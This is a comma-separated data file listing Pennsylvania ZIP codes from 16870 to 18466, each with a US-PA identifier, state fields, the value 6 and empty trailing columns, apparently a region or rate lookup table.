US-PA-16870,US,PA,16870,6,,,, US-PA-16871,US,PA,16871,6,,,, US-PA-16872,US,PA,16872,6,,,, US-PA-16873,US,PA,16873,6,,,, US-PA-16874,US,PA,16874,6,,,, US-PA-16875,US,PA,16875,6,,,, US-PA-16876,US,PA,16876,6,,,, US-PA-16877,US,PA,16877,6,,,, US-PA-16878,US,PA,16878,6,,,, US-PA-16879,US,PA,16879,6,,,, US-PA-16881,US,PA,16881,6,,,, US-PA-16882,US,PA,16882,6,,,, US-PA-16901,US,PA,16901,6,,,, US-PA-16910,US,PA,16910,6,,,, US-PA-16911,US,PA,16911,6,,,, US-PA-16912,US,PA,16912,6,,,, US-PA-16914,US,PA,16914,6,,,, US-PA-16915,US,PA,16915,6,,,, US-PA-16917,US,PA,16917,6,,,, US-PA-16920,US,PA,16920,6,,,, US-PA-16921,US,PA,16921,6,,,, US-PA-16922,US,PA,16922,6,,,, US-PA-16923,US,PA,16923,6,,,, US-PA-16925,US,PA,16925,6,,,, US-PA-16926,US,PA,16926,6,,,, US-PA-16927,US,PA,16927,6,,,, US-PA-16928,US,PA,16928,6,,,, US-PA-16929,US,PA,16929,6,,,, US-PA-16930,US,PA,16930,6,,,, US-PA-16932,US,PA,16932,6,,,, US-PA-16933,US,PA,16933,6,,,, US-PA-16935,US,PA,16935,6,,,, US-PA-16936,US,PA,16936,6,,,, US-PA-16937,US,PA,16937,6,,,, US-PA-16938,US,PA,16938,6,,,, US-PA-16939,US,PA,16939,6,,,, US-PA-16940,US,PA,16940,6,,,, US-PA-16941,US,PA,16941,6,,,, US-PA-16942,US,PA,16942,6,,,, US-PA-16943,US,PA,16943,6,,,, US-PA-16945,US,PA,16945,6,,,, US-PA-16946,US,PA,16946,6,,,, US-PA-16947,US,PA,16947,6,,,, US-PA-16948,US,PA,16948,6,,,, US-PA-16950,US,PA,16950,6,,,, US-PA-17001,US,PA,17001,6,,,, US-PA-17002,US,PA,17002,6,,,, US-PA-17003,US,PA,17003,6,,,, US-PA-17004,US,PA,17004,6,,,, US-PA-17005,US,PA,17005,6,,,, US-PA-17006,US,PA,17006,6,,,, US-PA-17007,US,PA,17007,6,,,, US-PA-17009,US,PA,17009,6,,,, US-PA-17010,US,PA,17010,6,,,, US-PA-17011,US,PA,17011,6,,,, US-PA-17012,US,PA,17012,6,,,, US-PA-17013,US,PA,17013,6,,,, US-PA-17014,US,PA,17014,6,,,, US-PA-17015,US,PA,17015,6,,,, US-PA-17016,US,PA,17016,6,,,, US-PA-17017,US,PA,17017,6,,,, US-PA-17018,US,PA,17018,6,,,, US-PA-17019,US,PA,17019,6,,,, US-PA-17020,US,PA,17020,6,,,, US-PA-17021,US,PA,17021,6,,,, US-PA-17022,US,PA,17022,6,,,, US-PA-17023,US,PA,17023,6,,,, US-PA-17024,US,PA,17024,6,,,, US-PA-17025,US,PA,17025,6,,,, US-PA-17026,US,PA,17026,6,,,, US-PA-17027,US,PA,17027,6,,,, US-PA-17028,US,PA,17028,6,,,, US-PA-17029,US,PA,17029,6,,,, US-PA-17030,US,PA,17030,6,,,, US-PA-17032,US,PA,17032,6,,,, US-PA-17033,US,PA,17033,6,,,, US-PA-17034,US,PA,17034,6,,,, US-PA-17035,US,PA,17035,6,,,, US-PA-17036,US,PA,17036,6,,,, US-PA-17037,US,PA,17037,6,,,, US-PA-17038,US,PA,17038,6,,,, US-PA-17039,US,PA,17039,6,,,, US-PA-17040,US,PA,17040,6,,,, US-PA-17041,US,PA,17041,6,,,, US-PA-17042,US,PA,17042,6,,,, US-PA-17043,US,PA,17043,6,,,, US-PA-17044,US,PA,17044,6,,,, US-PA-17045,US,PA,17045,6,,,, US-PA-17046,US,PA,17046,6,,,, US-PA-17047,US,PA,17047,6,,,, US-PA-17048,US,PA,17048,6,,,, US-PA-17049,US,PA,17049,6,,,, US-PA-17050,US,PA,17050,6,,,, US-PA-17051,US,PA,17051,6,,,, US-PA-17052,US,PA,17052,6,,,, US-PA-17053,US,PA,17053,6,,,, US-PA-17054,US,PA,17054,6,,,, US-PA-17055,US,PA,17055,6,,,, US-PA-17056,US,PA,17056,6,,,, US-PA-17057,US,PA,17057,6,,,, US-PA-17058,US,PA,17058,6,,,, US-PA-17059,US,PA,17059,6,,,, US-PA-17060,US,PA,17060,6,,,, US-PA-17061,US,PA,17061,6,,,, US-PA-17062,US,PA,17062,6,,,, US-PA-17063,US,PA,17063,6,,,, US-PA-17064,US,PA,17064,6,,,, US-PA-17065,US,PA,17065,6,,,, US-PA-17066,US,PA,17066,6,,,, US-PA-17067,US,PA,17067,6,,,, US-PA-17068,US,PA,17068,6,,,, US-PA-17069,US,PA,17069,6,,,, US-PA-17070,US,PA,17070,6,,,, US-PA-17071,US,PA,17071,6,,,, US-PA-17072,US,PA,17072,6,,,, US-PA-17073,US,PA,17073,6,,,, US-PA-17074,US,PA,17074,6,,,, US-PA-17075,US,PA,17075,6,,,, US-PA-17076,US,PA,17076,6,,,, US-PA-17077,US,PA,17077,6,,,, US-PA-17078,US,PA,17078,6,,,, US-PA-17080,US,PA,17080,6,,,, US-PA-17081,US,PA,17081,6,,,, US-PA-17082,US,PA,17082,6,,,, US-PA-17083,US,PA,17083,6,,,, US-PA-17084,US,PA,17084,6,,,, US-PA-17085,US,PA,17085,6,,,, US-PA-17086,US,PA,17086,6,,,, US-PA-17087,US,PA,17087,6,,,, US-PA-17088,US,PA,17088,6,,,, US-PA-17089,US,PA,17089,6,,,, US-PA-17090,US,PA,17090,6,,,, US-PA-17093,US,PA,17093,6,,,, US-PA-17094,US,PA,17094,6,,,, US-PA-17097,US,PA,17097,6,,,, US-PA-17098,US,PA,17098,6,,,, US-PA-17099,US,PA,17099,6,,,, US-PA-17101,US,PA,17101,6,,,, US-PA-17102,US,PA,17102,6,,,, US-PA-17103,US,PA,17103,6,,,, US-PA-17104,US,PA,17104,6,,,, US-PA-17105,US,PA,17105,6,,,, US-PA-17106,US,PA,17106,6,,,, US-PA-17107,US,PA,17107,6,,,, US-PA-17108,US,PA,17108,6,,,, US-PA-17109,US,PA,17109,6,,,, US-PA-17110,US,PA,17110,6,,,, US-PA-17111,US,PA,17111,6,,,, US-PA-17112,US,PA,17112,6,,,, US-PA-17113,US,PA,17113,6,,,, US-PA-17120,US,PA,17120,6,,,, US-PA-17121,US,PA,17121,6,,,, US-PA-17122,US,PA,17122,6,,,, US-PA-17123,US,PA,17123,6,,,, US-PA-17124,US,PA,17124,6,,,, US-PA-17125,US,PA,17125,6,,,, US-PA-17126,US,PA,17126,6,,,, US-PA-17127,US,PA,17127,6,,,, US-PA-17128,US,PA,17128,6,,,, US-PA-17129,US,PA,17129,6,,,, US-PA-17130,US,PA,17130,6,,,, US-PA-17140,US,PA,17140,6,,,, US-PA-17177,US,PA,17177,6,,,, US-PA-17201,US,PA,17201,6,,,, US-PA-17202,US,PA,17202,6,,,, US-PA-17210,US,PA,17210,6,,,, US-PA-17211,US,PA,17211,6,,,, US-PA-17212,US,PA,17212,6,,,, US-PA-17213,US,PA,17213,6,,,, US-PA-17214,US,PA,17214,6,,,, US-PA-17215,US,PA,17215,6,,,, US-PA-17217,US,PA,17217,6,,,, US-PA-17219,US,PA,17219,6,,,, US-PA-17220,US,PA,17220,6,,,, US-PA-17221,US,PA,17221,6,,,, US-PA-17222,US,PA,17222,6,,,, US-PA-17223,US,PA,17223,6,,,, US-PA-17224,US,PA,17224,6,,,, US-PA-17225,US,PA,17225,6,,,, US-PA-17228,US,PA,17228,6,,,, US-PA-17229,US,PA,17229,6,,,, US-PA-17231,US,PA,17231,6,,,, US-PA-17232,US,PA,17232,6,,,, US-PA-17233,US,PA,17233,6,,,, US-PA-17235,US,PA,17235,6,,,, US-PA-17236,US,PA,17236,6,,,, US-PA-17237,US,PA,17237,6,,,, US-PA-17238,US,PA,17238,6,,,, US-PA-17239,US,PA,17239,6,,,, US-PA-17240,US,PA,17240,6,,,, US-PA-17241,US,PA,17241,6,,,, US-PA-17243,US,PA,17243,6,,,, US-PA-17244,US,PA,17244,6,,,, US-PA-17246,US,PA,17246,6,,,, US-PA-17247,US,PA,17247,6,,,, US-PA-17249,US,PA,17249,6,,,, US-PA-17250,US,PA,17250,6,,,, US-PA-17251,US,PA,17251,6,,,, US-PA-17252,US,PA,17252,6,,,, US-PA-17253,US,PA,17253,6,,,, US-PA-17254,US,PA,17254,6,,,, US-PA-17255,US,PA,17255,6,,,, US-PA-17256,US,PA,17256,6,,,, US-PA-17257,US,PA,17257,6,,,, US-PA-17260,US,PA,17260,6,,,, US-PA-17261,US,PA,17261,6,,,, US-PA-17262,US,PA,17262,6,,,, US-PA-17263,US,PA,17263,6,,,, US-PA-17264,US,PA,17264,6,,,, US-PA-17265,US,PA,17265,6,,,, US-PA-17266,US,PA,17266,6,,,, US-PA-17267,US,PA,17267,6,,,, US-PA-17268,US,PA,17268,6,,,, US-PA-17271,US,PA,17271,6,,,, US-PA-17272,US,PA,17272,6,,,, US-PA-17301,US,PA,17301,6,,,, US-PA-17302,US,PA,17302,6,,,, US-PA-17303,US,PA,17303,6,,,, US-PA-17304,US,PA,17304,6,,,, US-PA-17306,US,PA,17306,6,,,, US-PA-17307,US,PA,17307,6,,,, US-PA-17309,US,PA,17309,6,,,, US-PA-17310,US,PA,17310,6,,,, US-PA-17311,US,PA,17311,6,,,, US-PA-17312,US,PA,17312,6,,,, US-PA-17313,US,PA,17313,6,,,, US-PA-17314,US,PA,17314,6,,,, US-PA-17315,US,PA,17315,6,,,, US-PA-17316,US,PA,17316,6,,,, US-PA-17317,US,PA,17317,6,,,, US-PA-17318,US,PA,17318,6,,,, US-PA-17319,US,PA,17319,6,,,, US-PA-17320,US,PA,17320,6,,,, US-PA-17321,US,PA,17321,6,,,, US-PA-17322,US,PA,17322,6,,,, US-PA-17323,US,PA,17323,6,,,, US-PA-17324,US,PA,17324,6,,,, US-PA-17325,US,PA,17325,6,,,, US-PA-17327,US,PA,17327,6,,,, US-PA-17329,US,PA,17329,6,,,, US-PA-17331,US,PA,17331,6,,,, US-PA-17332,US,PA,17332,6,,,, US-PA-17333,US,PA,17333,6,,,, US-PA-17334,US,PA,17334,6,,,, US-PA-17335,US,PA,17335,6,,,, US-PA-17337,US,PA,17337,6,,,, US-PA-17339,US,PA,17339,6,,,, US-PA-17340,US,PA,17340,6,,,, US-PA-17342,US,PA,17342,6,,,, US-PA-17343,US,PA,17343,6,,,, US-PA-17344,US,PA,17344,6,,,, US-PA-17345,US,PA,17345,6,,,, US-PA-17347,US,PA,17347,6,,,, US-PA-17349,US,PA,17349,6,,,, US-PA-17350,US,PA,17350,6,,,, US-PA-17352,US,PA,17352,6,,,, US-PA-17353,US,PA,17353,6,,,, US-PA-17354,US,PA,17354,6,,,, US-PA-17355,US,PA,17355,6,,,, US-PA-17356,US,PA,17356,6,,,, US-PA-17358,US,PA,17358,6,,,, US-PA-17360,US,PA,17360,6,,,, US-PA-17361,US,PA,17361,6,,,, US-PA-17362,US,PA,17362,6,,,, US-PA-17363,US,PA,17363,6,,,, US-PA-17364,US,PA,17364,6,,,, US-PA-17365,US,PA,17365,6,,,, US-PA-17366,US,PA,17366,6,,,, US-PA-17368,US,PA,17368,6,,,, US-PA-17370,US,PA,17370,6,,,, US-PA-17371,US,PA,17371,6,,,, US-PA-17372,US,PA,17372,6,,,, US-PA-17375,US,PA,17375,6,,,, US-PA-17401,US,PA,17401,6,,,, US-PA-17402,US,PA,17402,6,,,, US-PA-17403,US,PA,17403,6,,,, US-PA-17404,US,PA,17404,6,,,, US-PA-17405,US,PA,17405,6,,,, US-PA-17406,US,PA,17406,6,,,, US-PA-17407,US,PA,17407,6,,,, US-PA-17408,US,PA,17408,6,,,, US-PA-17501,US,PA,17501,6,,,, US-PA-17502,US,PA,17502,6,,,, US-PA-17503,US,PA,17503,6,,,, US-PA-17504,US,PA,17504,6,,,, US-PA-17505,US,PA,17505,6,,,, US-PA-17506,US,PA,17506,6,,,, US-PA-17507,US,PA,17507,6,,,, US-PA-17508,US,PA,17508,6,,,, US-PA-17509,US,PA,17509,6,,,, US-PA-17512,US,PA,17512,6,,,, US-PA-17516,US,PA,17516,6,,,, US-PA-17517,US,PA,17517,6,,,, US-PA-17518,US,PA,17518,6,,,, US-PA-17519,US,PA,17519,6,,,, US-PA-17520,US,PA,17520,6,,,, US-PA-17521,US,PA,17521,6,,,, US-PA-17522,US,PA,17522,6,,,, US-PA-17527,US,PA,17527,6,,,, US-PA-17528,US,PA,17528,6,,,, US-PA-17529,US,PA,17529,6,,,, US-PA-17532,US,PA,17532,6,,,, US-PA-17533,US,PA,17533,6,,,, US-PA-17534,US,PA,17534,6,,,, US-PA-17535,US,PA,17535,6,,,, US-PA-17536,US,PA,17536,6,,,, US-PA-17537,US,PA,17537,6,,,, US-PA-17538,US,PA,17538,6,,,, US-PA-17540,US,PA,17540,6,,,, US-PA-17543,US,PA,17543,6,,,, US-PA-17545,US,PA,17545,6,,,, US-PA-17547,US,PA,17547,6,,,, US-PA-17549,US,PA,17549,6,,,, US-PA-17550,US,PA,17550,6,,,, US-PA-17551,US,PA,17551,6,,,, US-PA-17552,US,PA,17552,6,,,, US-PA-17554,US,PA,17554,6,,,, US-PA-17555,US,PA,17555,6,,,, US-PA-17557,US,PA,17557,6,,,, US-PA-17560,US,PA,17560,6,,,, US-PA-17562,US,PA,17562,6,,,, US-PA-17563,US,PA,17563,6,,,, US-PA-17564,US,PA,17564,6,,,, US-PA-17565,US,PA,17565,6,,,, US-PA-17566,US,PA,17566,6,,,, US-PA-17567,US,PA,17567,6,,,, US-PA-17568,US,PA,17568,6,,,, US-PA-17569,US,PA,17569,6,,,, US-PA-17570,US,PA,17570,6,,,, US-PA-17572,US,PA,17572,6,,,, US-PA-17573,US,PA,17573,6,,,, US-PA-17575,US,PA,17575,6,,,, US-PA-17576,US,PA,17576,6,,,, US-PA-17578,US,PA,17578,6,,,, US-PA-17579,US,PA,17579,6,,,, US-PA-17580,US,PA,17580,6,,,, US-PA-17581,US,PA,17581,6,,,, US-PA-17582,US,PA,17582,6,,,, US-PA-17583,US,PA,17583,6,,,, US-PA-17584,US,PA,17584,6,,,, US-PA-17585,US,PA,17585,6,,,, US-PA-17601,US,PA,17601,6,,,, US-PA-17602,US,PA,17602,6,,,, US-PA-17603,US,PA,17603,6,,,, US-PA-17604,US,PA,17604,6,,,, US-PA-17605,US,PA,17605,6,,,, US-PA-17606,US,PA,17606,6,,,, US-PA-17607,US,PA,17607,6,,,, US-PA-17608,US,PA,17608,6,,,, US-PA-17611,US,PA,17611,6,,,, US-PA-17622,US,PA,17622,6,,,, US-PA-17699,US,PA,17699,6,,,, US-PA-17701,US,PA,17701,6,,,, US-PA-17702,US,PA,17702,6,,,, US-PA-17703,US,PA,17703,6,,,, US-PA-17705,US,PA,17705,6,,,, US-PA-17720,US,PA,17720,6,,,, US-PA-17721,US,PA,17721,6,,,, US-PA-17723,US,PA,17723,6,,,, US-PA-17724,US,PA,17724,6,,,, US-PA-17726,US,PA,17726,6,,,, US-PA-17727,US,PA,17727,6,,,, US-PA-17728,US,PA,17728,6,,,, US-PA-17729,US,PA,17729,6,,,, US-PA-17730,US,PA,17730,6,,,, US-PA-17731,US,PA,17731,6,,,, US-PA-17735,US,PA,17735,6,,,, US-PA-17737,US,PA,17737,6,,,, US-PA-17739,US,PA,17739,6,,,, US-PA-17740,US,PA,17740,6,,,, US-PA-17742,US,PA,17742,6,,,, US-PA-17744,US,PA,17744,6,,,, US-PA-17745,US,PA,17745,6,,,, US-PA-17747,US,PA,17747,6,,,, US-PA-17748,US,PA,17748,6,,,, US-PA-17749,US,PA,17749,6,,,, US-PA-17750,US,PA,17750,6,,,, US-PA-17751,US,PA,17751,6,,,, US-PA-17752,US,PA,17752,6,,,, US-PA-17754,US,PA,17754,6,,,, US-PA-17756,US,PA,17756,6,,,, US-PA-17758,US,PA,17758,6,,,, US-PA-17760,US,PA,17760,6,,,, US-PA-17762,US,PA,17762,6,,,, US-PA-17763,US,PA,17763,6,,,, US-PA-17764,US,PA,17764,6,,,, US-PA-17765,US,PA,17765,6,,,, US-PA-17767,US,PA,17767,6,,,, US-PA-17768,US,PA,17768,6,,,, US-PA-17769,US,PA,17769,6,,,, US-PA-17771,US,PA,17771,6,,,, US-PA-17772,US,PA,17772,6,,,, US-PA-17774,US,PA,17774,6,,,, US-PA-17776,US,PA,17776,6,,,, US-PA-17777,US,PA,17777,6,,,, US-PA-17778,US,PA,17778,6,,,, US-PA-17779,US,PA,17779,6,,,, US-PA-17801,US,PA,17801,6,,,, US-PA-17810,US,PA,17810,6,,,, US-PA-17812,US,PA,17812,6,,,, US-PA-17813,US,PA,17813,6,,,, US-PA-17814,US,PA,17814,6,,,, US-PA-17815,US,PA,17815,6,,,, US-PA-17820,US,PA,17820,6,,,, US-PA-17821,US,PA,17821,6,,,, US-PA-17822,US,PA,17822,6,,,, US-PA-17823,US,PA,17823,6,,,, US-PA-17824,US,PA,17824,6,,,, US-PA-17827,US,PA,17827,6,,,, US-PA-17829,US,PA,17829,6,,,, US-PA-17830,US,PA,17830,6,,,, US-PA-17831,US,PA,17831,6,,,, US-PA-17832,US,PA,17832,6,,,, US-PA-17833,US,PA,17833,6,,,, US-PA-17834,US,PA,17834,6,,,, US-PA-17835,US,PA,17835,6,,,, US-PA-17836,US,PA,17836,6,,,, US-PA-17837,US,PA,17837,6,,,, US-PA-17839,US,PA,17839,6,,,, US-PA-17840,US,PA,17840,6,,,, US-PA-17841,US,PA,17841,6,,,, US-PA-17842,US,PA,17842,6,,,, US-PA-17843,US,PA,17843,6,,,, US-PA-17844,US,PA,17844,6,,,, US-PA-17845,US,PA,17845,6,,,, US-PA-17846,US,PA,17846,6,,,, US-PA-17847,US,PA,17847,6,,,, US-PA-17850,US,PA,17850,6,,,, US-PA-17851,US,PA,17851,6,,,, US-PA-17853,US,PA,17853,6,,,, US-PA-17855,US,PA,17855,6,,,, US-PA-17856,US,PA,17856,6,,,, US-PA-17857,US,PA,17857,6,,,, US-PA-17858,US,PA,17858,6,,,, US-PA-17859,US,PA,17859,6,,,, US-PA-17860,US,PA,17860,6,,,, US-PA-17861,US,PA,17861,6,,,, US-PA-17862,US,PA,17862,6,,,, US-PA-17864,US,PA,17864,6,,,, US-PA-17865,US,PA,17865,6,,,, US-PA-17866,US,PA,17866,6,,,, US-PA-17867,US,PA,17867,6,,,, US-PA-17868,US,PA,17868,6,,,, US-PA-17870,US,PA,17870,6,,,, US-PA-17872,US,PA,17872,6,,,, US-PA-17876,US,PA,17876,6,,,, US-PA-17877,US,PA,17877,6,,,, US-PA-17878,US,PA,17878,6,,,, US-PA-17880,US,PA,17880,6,,,, US-PA-17881,US,PA,17881,6,,,, US-PA-17882,US,PA,17882,6,,,, US-PA-17883,US,PA,17883,6,,,, US-PA-17884,US,PA,17884,6,,,, US-PA-17885,US,PA,17885,6,,,, US-PA-17886,US,PA,17886,6,,,, US-PA-17887,US,PA,17887,6,,,, US-PA-17888,US,PA,17888,6,,,, US-PA-17889,US,PA,17889,6,,,, US-PA-17901,US,PA,17901,6,,,, US-PA-17920,US,PA,17920,6,,,, US-PA-17921,US,PA,17921,6,,,, US-PA-17922,US,PA,17922,6,,,, US-PA-17923,US,PA,17923,6,,,, US-PA-17925,US,PA,17925,6,,,, US-PA-17929,US,PA,17929,6,,,, US-PA-17930,US,PA,17930,6,,,, US-PA-17931,US,PA,17931,6,,,, US-PA-17932,US,PA,17932,6,,,, US-PA-17933,US,PA,17933,6,,,, US-PA-17934,US,PA,17934,6,,,, US-PA-17935,US,PA,17935,6,,,, US-PA-17936,US,PA,17936,6,,,, US-PA-17938,US,PA,17938,6,,,, US-PA-17941,US,PA,17941,6,,,, US-PA-17943,US,PA,17943,6,,,, US-PA-17944,US,PA,17944,6,,,, US-PA-17945,US,PA,17945,6,,,, US-PA-17946,US,PA,17946,6,,,, US-PA-17948,US,PA,17948,6,,,, US-PA-17949,US,PA,17949,6,,,, US-PA-17951,US,PA,17951,6,,,, US-PA-17952,US,PA,17952,6,,,, US-PA-17953,US,PA,17953,6,,,, US-PA-17954,US,PA,17954,6,,,, US-PA-17957,US,PA,17957,6,,,, US-PA-17959,US,PA,17959,6,,,, US-PA-17960,US,PA,17960,6,,,, US-PA-17961,US,PA,17961,6,,,, US-PA-17963,US,PA,17963,6,,,, US-PA-17964,US,PA,17964,6,,,, US-PA-17965,US,PA,17965,6,,,, US-PA-17966,US,PA,17966,6,,,, US-PA-17967,US,PA,17967,6,,,, US-PA-17968,US,PA,17968,6,,,, US-PA-17970,US,PA,17970,6,,,, US-PA-17972,US,PA,17972,6,,,, US-PA-17974,US,PA,17974,6,,,, US-PA-17976,US,PA,17976,6,,,, US-PA-17978,US,PA,17978,6,,,, US-PA-17979,US,PA,17979,6,,,, US-PA-17980,US,PA,17980,6,,,, US-PA-17981,US,PA,17981,6,,,, US-PA-17982,US,PA,17982,6,,,, US-PA-17983,US,PA,17983,6,,,, US-PA-17985,US,PA,17985,6,,,, US-PA-18001,US,PA,18001,6,,,, US-PA-18002,US,PA,18002,6,,,, US-PA-18003,US,PA,18003,6,,,, US-PA-18010,US,PA,18010,6,,,, US-PA-18011,US,PA,18011,6,,,, US-PA-18012,US,PA,18012,6,,,, US-PA-18013,US,PA,18013,6,,,, US-PA-18014,US,PA,18014,6,,,, US-PA-18015,US,PA,18015,6,,,, US-PA-18016,US,PA,18016,6,,,, US-PA-18017,US,PA,18017,6,,,, US-PA-18018,US,PA,18018,6,,,, US-PA-18020,US,PA,18020,6,,,, US-PA-18025,US,PA,18025,6,,,, US-PA-18030,US,PA,18030,6,,,, US-PA-18031,US,PA,18031,6,,,, US-PA-18032,US,PA,18032,6,,,, US-PA-18034,US,PA,18034,6,,,, US-PA-18035,US,PA,18035,6,,,, US-PA-18036,US,PA,18036,6,,,, US-PA-18037,US,PA,18037,6,,,, US-PA-18038,US,PA,18038,6,,,, US-PA-18039,US,PA,18039,6,,,, US-PA-18040,US,PA,18040,6,,,, US-PA-18041,US,PA,18041,6,,,, US-PA-18042,US,PA,18042,6,,,, US-PA-18043,US,PA,18043,6,,,, US-PA-18044,US,PA,18044,6,,,, US-PA-18045,US,PA,18045,6,,,, US-PA-18046,US,PA,18046,6,,,, US-PA-18049,US,PA,18049,6,,,, US-PA-18050,US,PA,18050,6,,,, US-PA-18051,US,PA,18051,6,,,, US-PA-18052,US,PA,18052,6,,,, US-PA-18053,US,PA,18053,6,,,, US-PA-18054,US,PA,18054,6,,,, US-PA-18055,US,PA,18055,6,,,, US-PA-18056,US,PA,18056,6,,,, US-PA-18058,US,PA,18058,6,,,, US-PA-18059,US,PA,18059,6,,,, US-PA-18060,US,PA,18060,6,,,, US-PA-18062,US,PA,18062,6,,,, US-PA-18063,US,PA,18063,6,,,, US-PA-18064,US,PA,18064,6,,,, US-PA-18065,US,PA,18065,6,,,, US-PA-18066,US,PA,18066,6,,,, US-PA-18067,US,PA,18067,6,,,, US-PA-18068,US,PA,18068,6,,,, US-PA-18069,US,PA,18069,6,,,, US-PA-18070,US,PA,18070,6,,,, US-PA-18071,US,PA,18071,6,,,, US-PA-18072,US,PA,18072,6,,,, US-PA-18073,US,PA,18073,6,,,, US-PA-18074,US,PA,18074,6,,,, US-PA-18076,US,PA,18076,6,,,, US-PA-18077,US,PA,18077,6,,,, US-PA-18078,US,PA,18078,6,,,, US-PA-18079,US,PA,18079,6,,,, US-PA-18080,US,PA,18080,6,,,, US-PA-18081,US,PA,18081,6,,,, US-PA-18083,US,PA,18083,6,,,, US-PA-18084,US,PA,18084,6,,,, US-PA-18085,US,PA,18085,6,,,, US-PA-18086,US,PA,18086,6,,,, US-PA-18087,US,PA,18087,6,,,, US-PA-18088,US,PA,18088,6,,,, US-PA-18091,US,PA,18091,6,,,, US-PA-18092,US,PA,18092,6,,,, US-PA-18098,US,PA,18098,6,,,, US-PA-18099,US,PA,18099,6,,,, US-PA-18101,US,PA,18101,6,,,, US-PA-18102,US,PA,18102,6,,,, US-PA-18103,US,PA,18103,6,,,, US-PA-18104,US,PA,18104,6,,,, US-PA-18105,US,PA,18105,6,,,, US-PA-18106,US,PA,18106,6,,,, US-PA-18109,US,PA,18109,6,,,, US-PA-18195,US,PA,18195,6,,,, US-PA-18201,US,PA,18201,6,,,, US-PA-18202,US,PA,18202,6,,,, US-PA-18210,US,PA,18210,6,,,, US-PA-18211,US,PA,18211,6,,,, US-PA-18212,US,PA,18212,6,,,, US-PA-18214,US,PA,18214,6,,,, US-PA-18216,US,PA,18216,6,,,, US-PA-18218,US,PA,18218,6,,,, US-PA-18219,US,PA,18219,6,,,, US-PA-18220,US,PA,18220,6,,,, US-PA-18221,US,PA,18221,6,,,, US-PA-18222,US,PA,18222,6,,,, US-PA-18223,US,PA,18223,6,,,, US-PA-18224,US,PA,18224,6,,,, US-PA-18225,US,PA,18225,6,,,, US-PA-18229,US,PA,18229,6,,,, US-PA-18230,US,PA,18230,6,,,, US-PA-18231,US,PA,18231,6,,,, US-PA-18232,US,PA,18232,6,,,, US-PA-18234,US,PA,18234,6,,,, US-PA-18235,US,PA,18235,6,,,, US-PA-18237,US,PA,18237,6,,,, US-PA-18239,US,PA,18239,6,,,, US-PA-18240,US,PA,18240,6,,,, US-PA-18241,US,PA,18241,6,,,, US-PA-18242,US,PA,18242,6,,,, US-PA-18244,US,PA,18244,6,,,, US-PA-18245,US,PA,18245,6,,,, US-PA-18246,US,PA,18246,6,,,, US-PA-18247,US,PA,18247,6,,,, US-PA-18248,US,PA,18248,6,,,, US-PA-18249,US,PA,18249,6,,,, US-PA-18250,US,PA,18250,6,,,, US-PA-18251,US,PA,18251,6,,,, US-PA-18252,US,PA,18252,6,,,, US-PA-18254,US,PA,18254,6,,,, US-PA-18255,US,PA,18255,6,,,, US-PA-18256,US,PA,18256,6,,,, US-PA-18301,US,PA,18301,6,,,, US-PA-18302,US,PA,18302,6,,,, US-PA-18320,US,PA,18320,6,,,, US-PA-18321,US,PA,18321,6,,,, US-PA-18322,US,PA,18322,6,,,, US-PA-18323,US,PA,18323,6,,,, US-PA-18324,US,PA,18324,6,,,, US-PA-18325,US,PA,18325,6,,,, US-PA-18326,US,PA,18326,6,,,, US-PA-18327,US,PA,18327,6,,,, US-PA-18328,US,PA,18328,6,,,, US-PA-18330,US,PA,18330,6,,,, US-PA-18331,US,PA,18331,6,,,, US-PA-18332,US,PA,18332,6,,,, US-PA-18333,US,PA,18333,6,,,, US-PA-18334,US,PA,18334,6,,,, US-PA-18335,US,PA,18335,6,,,, US-PA-18336,US,PA,18336,6,,,, US-PA-18337,US,PA,18337,6,,,, US-PA-18340,US,PA,18340,6,,,, US-PA-18341,US,PA,18341,6,,,, US-PA-18342,US,PA,18342,6,,,, US-PA-18343,US,PA,18343,6,,,, US-PA-18344,US,PA,18344,6,,,, US-PA-18346,US,PA,18346,6,,,, US-PA-18347,US,PA,18347,6,,,, US-PA-18348,US,PA,18348,6,,,, US-PA-18349,US,PA,18349,6,,,, US-PA-18350,US,PA,18350,6,,,, US-PA-18351,US,PA,18351,6,,,, US-PA-18352,US,PA,18352,6,,,, US-PA-18353,US,PA,18353,6,,,, US-PA-18354,US,PA,18354,6,,,, US-PA-18355,US,PA,18355,6,,,, US-PA-18356,US,PA,18356,6,,,, US-PA-18357,US,PA,18357,6,,,, US-PA-18360,US,PA,18360,6,,,, US-PA-18370,US,PA,18370,6,,,, US-PA-18371,US,PA,18371,6,,,, US-PA-18372,US,PA,18372,6,,,, US-PA-18373,US,PA,18373,6,,,, US-PA-18403,US,PA,18403,6,,,, US-PA-18405,US,PA,18405,6,,,, US-PA-18407,US,PA,18407,6,,,, US-PA-18410,US,PA,18410,6,,,, US-PA-18411,US,PA,18411,6,,,, US-PA-18413,US,PA,18413,6,,,, US-PA-18414,US,PA,18414,6,,,, US-PA-18415,US,PA,18415,6,,,, US-PA-18416,US,PA,18416,6,,,, US-PA-18417,US,PA,18417,6,,,, US-PA-18419,US,PA,18419,6,,,, US-PA-18420,US,PA,18420,6,,,, US-PA-18421,US,PA,18421,6,,,, US-PA-18424,US,PA,18424,6,,,, US-PA-18425,US,PA,18425,6,,,, US-PA-18426,US,PA,18426,6,,,, US-PA-18427,US,PA,18427,6,,,, US-PA-18428,US,PA,18428,6,,,, US-PA-18430,US,PA,18430,6,,,, US-PA-18431,US,PA,18431,6,,,, US-PA-18433,US,PA,18433,6,,,, US-PA-18434,US,PA,18434,6,,,, US-PA-18435,US,PA,18435,6,,,, US-PA-18436,US,PA,18436,6,,,, US-PA-18437,US,PA,18437,6,,,, US-PA-18438,US,PA,18438,6,,,, US-PA-18439,US,PA,18439,6,,,, US-PA-18440,US,PA,18440,6,,,, US-PA-18441,US,PA,18441,6,,,, US-PA-18443,US,PA,18443,6,,,, US-PA-18444,US,PA,18444,6,,,, US-PA-18445,US,PA,18445,6,,,, US-PA-18446,US,PA,18446,6,,,, US-PA-18447,US,PA,18447,6,,,, US-PA-18448,US,PA,18448,6,,,, US-PA-18449,US,PA,18449,6,,,, US-PA-18451,US,PA,18451,6,,,, US-PA-18452,US,PA,18452,6,,,, US-PA-18453,US,PA,18453,6,,,, US-PA-18454,US,PA,18454,6,,,, US-PA-18455,US,PA,18455,6,,,, US-PA-18456,US,PA,18456,6,,,, US-PA-18457,US,PA,18457,6,,,, US-PA-18458,US,PA,18458,6,,,, US-PA-18459,US,PA,18459,6,,,, US-PA-18460,US,PA,18460,6,,,, US-PA-18461,US,PA,18461,6,,,, US-PA-18462,US,PA,18462,6,,,, US-PA-18463,US,PA,18463,6,,,, US-PA-18464,US,PA,18464,6,,,, US-PA-18465,US,PA,18465,6,,,, US-PA-18466,US,PA,18466,6,,,, 